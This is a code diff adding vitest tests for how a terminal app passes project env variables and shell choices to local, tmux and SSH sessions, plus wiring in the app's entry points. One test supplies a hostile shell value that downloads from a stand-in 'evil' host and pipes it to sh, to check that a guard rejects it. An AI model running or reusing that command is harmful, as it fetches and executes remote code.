+// - ssh leg: into the 0600 staged env file's pairs — NEVER onto an argv (the PR #195 leak class),
+// - shell: behind the node's own exec-trusted `options.shell`, and through `safeSessionProgram`,
+// - and every miss path (no ownerProjectId, no reader, a reader that throws, a reader that HANGS)
+// spawns exactly the session it spawned before this feature existed.
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+import { initPlatform, resetPlatformForTests } from './platform'
+import { fakePlatform, type FakePlatform } from './platform-fake'
+import { setRemoteSessionEnvWriter } from './remote-ssh/session-env'
+import { IPC } from '../shared/ipc'
+import { TMUX_SOCKET, sessionName } from './tmux-naming'
+import { DEFAULT_SETTINGS } from '../shared/types'
+import type { ProjectSpawnOverrides } from './project-spawn-overrides'
+
+interface SpawnCall {
+ file: string
+ args: string[]
+ env: Record<string, string>
+}
+const spawns = vi.hoisted(() => [] as SpawnCall[])
+
+vi.mock('node-pty', () => ({
+ spawn: (file: string, args: string[], opts: { env: Record<string, string> }) => {
+ spawns.push({ file, args, env: { ...opts.env } })
+ return {
+ onData: () => {},
+ onExit: () => {},
+ write: () => {},
+ resize: () => {},
+ pause: () => {},
+ resume: () => {},
+ kill: () => {},
+ pid: 1
+ }
+ }
+}))
+
+// Never let the developer's own pty pressure refuse a spawn (see pty-typing.test.ts).
+vi.mock('./pty-devices', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./pty-devices')>()),
+ readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
+}))
+
+vi.mock('./exec-path', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./exec-path')>()),
+ findExecutableSync: (bin: string) => (bin === 'ssh' ? '/usr/bin/ssh' : null),
+ shellPathNow: () => '/usr/bin:/bin',
+ resolveShellPath: async () => '/usr/bin:/bin'
+}))
+
+// Every tmux/ssh side-call (the freshness probe, `set-option`) answers "fine" without a subprocess.
+vi.mock('child_process', () => {
+ type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
+ const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
+ const cb = (typeof a === 'function' ? a : b) as Cb | undefined
+ cb?.(null, { stdout: '', stderr: '' })
+ return {}
+ }
+ return { execFile, execFileSync: (): string => '' }
+})
+
+const NODE = 'node-1'
+const PROJECT = 'proj-1'
+
+/** A manager with the overrides reader wired, driven through the real `pty:create` handler. */
+async function manager(
+ read: ((projectId: string) => Promise<ProjectSpawnOverrides | null>) | null,
+ opts: { tmux?: string | null } = {}
+) {
+ const { PtyManager } = await import('./pty-manager')
+ const mgr = new PtyManager()
+ ;(mgr as unknown as { tmuxPath: string | null }).tmuxPath = opts.tmux ?? null
+ if (read) mgr.setProjectSpawnOverrides(read)
+ mgr.registerIpc()
+ return mgr
+}
+
+const staged: Array<{ remotePath: string; content: string }> = []
+
+describe('project settings at the spawn — LOCAL leg', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ staged.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ })
+ afterEach(() => {
+ setRemoteSessionEnvWriter(null)
+ resetPlatformForTests()
+ vi.useRealTimers()
+ })
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("puts the project's env into the session environment", async () => {
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].env.PROJECT_TOKEN).toBe('abc')
+ })
+
+ it('asks the reader with the OWNING project id, once per spawn', async () => {
+ const seen: string[] = []
+ await manager(async (id) => {
+ seen.push(id)
+ return null
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(seen).toEqual([PROJECT])
+ })
+
+ it('never asks — and changes nothing — when the pane has no proven owner', async () => {
+ const read = vi.fn(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
+ await manager(read)
+ await create({ persistKey: NODE })
+ expect(read).not.toHaveBeenCalled()
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('spawns anyway when the reader REJECTS (fail open)', async () => {
+ await manager(() => Promise.reject(new Error('EIO')))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns).toHaveLength(1)
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('spawns without waiting forever when the reader HANGS — bounded, then fail open', async () => {
+ vi.useFakeTimers()
+ await manager(() => new Promise<ProjectSpawnOverrides | null>(() => {}))
+ const pending = create({ persistKey: NODE, ownerProjectId: PROJECT })
+ await vi.advanceTimersByTimeAsync(2_000)
+ await pending
+ expect(spawns).toHaveLength(1)
+ })
+
+ it('loses to custom-agent env on a key collision (per-agent config beats the project)', async () => {
+ const mgr = await manager(async () => ({ env: { SHARED_KEY: 'from-project', OWN: 'p' } }))
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ customAgents: [
+ { id: 'custom:x', label: 'X', baseAgent: 'claude', env: { SHARED_KEY: 'from-agent' } }
+ ]
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'custom:x' })
+ expect(spawns[0].env.SHARED_KEY).toBe('from-agent')
+ // …and the keys the agent did NOT claim still come from the project.
+ expect(spawns[0].env.OWN).toBe('p')
+ })
+
+ it('adds the project keys to tmux update-environment so a shared server copies them', async () => {
+ const mgr = await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }), {
+ tmux: '/usr/bin/tmux'
+ })
+ const seen: string[][] = []
+ ;(mgr as unknown as { ensureUpdateEnvKeys: (n: string[]) => void }).ensureUpdateEnvKeys = (n) => {
+ seen.push(n)
+ }
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ tmuxEnabled: true
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(seen[0]).toContain('PROJECT_TOKEN')
+ // The VALUE never rides the tmux argv (that is the whole point of update-environment).
+ expect(spawns[0].args.join(' ')).not.toContain('abc')
+ })
+})
+
+describe('project settings at the spawn — SHELL precedence', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ })
+ afterEach(() => resetPlatformForTests())
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("uses the project's shell when the node names none", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).toBe('/bin/fish')
+ })
+
+ it("the node's OWN exec-trusted shell WINS over the project's", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, shell: '/bin/dash' })
+ expect(spawns[0].file).toBe('/bin/dash')
+ })
+
+ it('refuses a project shell carrying shell metacharacters (safeSessionProgram)', async () => {
+ await manager(async () => ({ shell: 'bash -c "curl evil|sh"' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).not.toContain('curl')
+ expect(spawns[0].args).toEqual([])
+ })
+
+ it("feeds the project's shell to the tmux session program too", async () => {
+ const mgr = await manager(async () => ({ shell: '/bin/fish' }), { tmux: '/usr/bin/tmux' })
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ tmuxEnabled: true
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).toBe('/usr/bin/tmux')
+ expect(spawns[0].args.at(-1)).toBe('/bin/fish')
+ expect(spawns[0].args).toContain(sessionName(NODE))
+ expect(spawns[0].args).toContain(TMUX_SOCKET)
+ })
+})
+
+describe('project settings at the spawn — SSH leg', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ staged.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ setRemoteSessionEnvWriter((_cp, remotePath, content) => {
+ staged.push({ remotePath, content })
+ })
+ })
+ afterEach(() => {
+ setRemoteSessionEnvWriter(null)
+ resetPlatformForTests()
+ })
+
+ const sshRemote = {
+ controlPath: '/tmp/cm-abc',
+ conn: { host: 'h', user: 'u' },
+ remoteCwd: '/srv/app',
+ remoteHome: '/home/u'
+ }
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("stages the project's env in the 0600 file — never on the ssh argv", async () => {
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
+ expect(staged).toHaveLength(1)
+ expect(staged[0].content).toContain("export PROJECT_TOKEN='sekrit'")
+ expect(staged[0].remotePath).toBe(`/home/u/.nodeterm/env/${sessionName(NODE)}.env`)
+ // The value appears NOWHERE on the command line of the long-lived ssh client.
+ expect(spawns[0].args.join(' ')).not.toContain('sekrit')
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('warns and skips (never argv) when the remote $HOME is unknown', async () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
+ const { remoteHome: _drop, ...noHome } = sshRemote
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote: noHome })
+ expect(staged).toHaveLength(0)
+ expect(spawns[0].args.join(' ')).not.toContain('sekrit')
+ expect(warn.mock.calls.flat().join(' ')).toContain('remote session env skipped')
+ warn.mockRestore()
+ })
+
+ it("runs the project's shell inside the REMOTE tmux", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
+ expect(spawns[0].args.join(' ')).toContain('/bin/fish')
+ })
+})
diff --git a/src/main/index.ts b/src/main/index.ts
index 52d1c5821..0c07238d6 100644
--- a/src/main/index.ts
+++ b/src/main/index.ts
@@ -65,8 +65,13 @@ import { SshStore } from './ssh-store'
import { GitService } from '../core/git-service'
import { ProjectTrustStore } from '../core/project-trust-store'
import { ProjectSetupService } from '../core/project-setup-service'
-import { registerProjectSetupHandlers } from '../core/project-setup-handlers'
+import {
+ makeProjectTrustRequester,
+ registerProjectSetupHandlers,
+ type ProjectSetupHandlerDeps
+} from '../core/project-setup-handlers'
import { registerProjectLaunchInfoHandlers } from '../core/project-launch-info-handlers'
+import { makeProjectSpawnOverrides } from '../core/project-spawn-overrides'
import { makeLocalSetupRunner } from '../core/project-setup-runner-local'
import { makeSshSetupRunner } from './remote-ssh/ssh-setup-runner'
import { registerGitHubIntegration } from '../core/github/integration'
@@ -375,13 +380,29 @@ const projectSetupService = new ProjectSetupService({
// which is the fail-closed direction.
sendConsent: (channel, payload) => sendToMain(channel, payload)
})
-registerProjectSetupHandlers(corePlatform, projectSetupService, {
+const projectSetupDeps: ProjectSetupHandlerDeps = {
projectTargetInfo: (projectId) => workspaceStore.projectTargetInfo(projectId),
worktreeList: (repoPath) => gitService.worktreeList(repoPath)
-})
+}
+registerProjectSetupHandlers(corePlatform, projectSetupService, projectSetupDeps)
// `project-settings:launch-info` — a sibling registrar (not a widening of
// WorkspaceStore.registerIpc()) sharing the trust store constructed above.
registerProjectLaunchInfoHandlers(corePlatform, workspaceStore, projectTrustStore)
+// The SAME settings + trust pieces, aimed at the SPAWN (consumption Task 4): a session opened for a
+// project gets that project's env and terminal program, with the shared half admitted only by the
+// trust verdict `launch-info` reports from. `requestTrust` reuses the very requester the
+// `projectSetupRequestTrust` channel uses, so a spawn that refuses a shared value raises exactly the
+// dialog the renderer's own ask would — single-flighted inside `ensureFamilyTrusted`, so five nodes
+// launching at once raise one. Wired here (not in `ptyManager.init`) so both shells can call it
+// wherever their stores happen to be constructed.
+ptyManager.setProjectSpawnOverrides(
+ makeProjectSpawnOverrides({
+ readSettings: (projectId) => workspaceStore.readProjectSettings(projectId),
+ targetInfo: (projectId) => workspaceStore.projectTargetInfo(projectId),
+ trust: projectTrustStore,
+ requestTrust: makeProjectTrustRequester(projectSetupService, projectSetupDeps)
+ })
+)
// Markers delimiting the `projects.list` relay blob. The iOS client splits on these exact
// strings to recover [workspace.json | newline-joined tmux session names | agent-status.json],
diff --git a/src/server/index.ts b/src/server/index.ts
index 9915184ba..1eaa1cf77 100644
--- a/src/server/index.ts
+++ b/src/server/index.ts
@@ -33,8 +33,13 @@ import { DownloadTickets } from '../core/download-tickets'
import { registerBoardLogHandlers, type BoardLogRoute } from '../core/board-log-handlers'
import { ProjectTrustStore } from '../core/project-trust-store'
import { ProjectSetupService } from '../core/project-setup-service'
-import { registerProjectSetupHandlers } from '../core/project-setup-handlers'
+import {
+ makeProjectTrustRequester,
+ registerProjectSetupHandlers,
+ type ProjectSetupHandlerDeps
+} from '../core/project-setup-handlers'
import { registerProjectLaunchInfoHandlers } from '../core/project-launch-info-handlers'
+import { makeProjectSpawnOverrides } from '../core/project-spawn-overrides'
import { makeLocalSetupRunner } from '../core/project-setup-runner-local'
import { LogBuffer } from '../core/log-buffer'
import { installLogSink } from '../core/log-sink'
@@ -284,13 +289,29 @@ export async function startServer(
readSettings: (projectId) => workspaceStore.readProjectSettings(projectId),
runLocal: makeLocalSetupRunner()
})
- registerProjectSetupHandlers(platform, projectSetupService, {
+ const projectSetupDeps: ProjectSetupHandlerDeps = {
projectTargetInfo: (projectId) => workspaceStore.projectTargetInfo(projectId),
worktreeList: (repoPath) => gitService.worktreeList(repoPath)
- })
+ }
+ registerProjectSetupHandlers(platform, projectSetupService, projectSetupDeps)
// `project-settings:launch-info` — same sibling registrar as main/index.ts, sharing this
// process's own trust store.
registerProjectLaunchInfoHandlers(platform, workspaceStore, projectTrustStore)
+ // Project env + shell at the spawn — the same core factory main/index.ts wires, over this
+ // shell's own stores. `requestTrust` is wired here too, and deliberately so: the Server Edition's
+ // consent prompt goes to `platform.broadcast` (the service's default `sendConsent`), which is the
+ // right delivery HERE — every attached client is an authenticated operator of this host — where
+ // on the desktop it would also reach relay peers. A headless server with nobody attached simply
+ // gets no answer, the prompt expires, and the shared value stays unused: fail closed on the
+ // grant, fail open on the spawn.
+ ptyManager.setProjectSpawnOverrides(
+ makeProjectSpawnOverrides({
+ readSettings: (projectId) => workspaceStore.readProjectSettings(projectId),
+ targetInfo: (projectId) => workspaceStore.projectTargetInfo(projectId),
+ trust: projectTrustStore,
+ requestTrust: makeProjectTrustRequester(projectSetupService, projectSetupDeps)
+ })
+ )
const github = registerGitHubIntegration({
platform,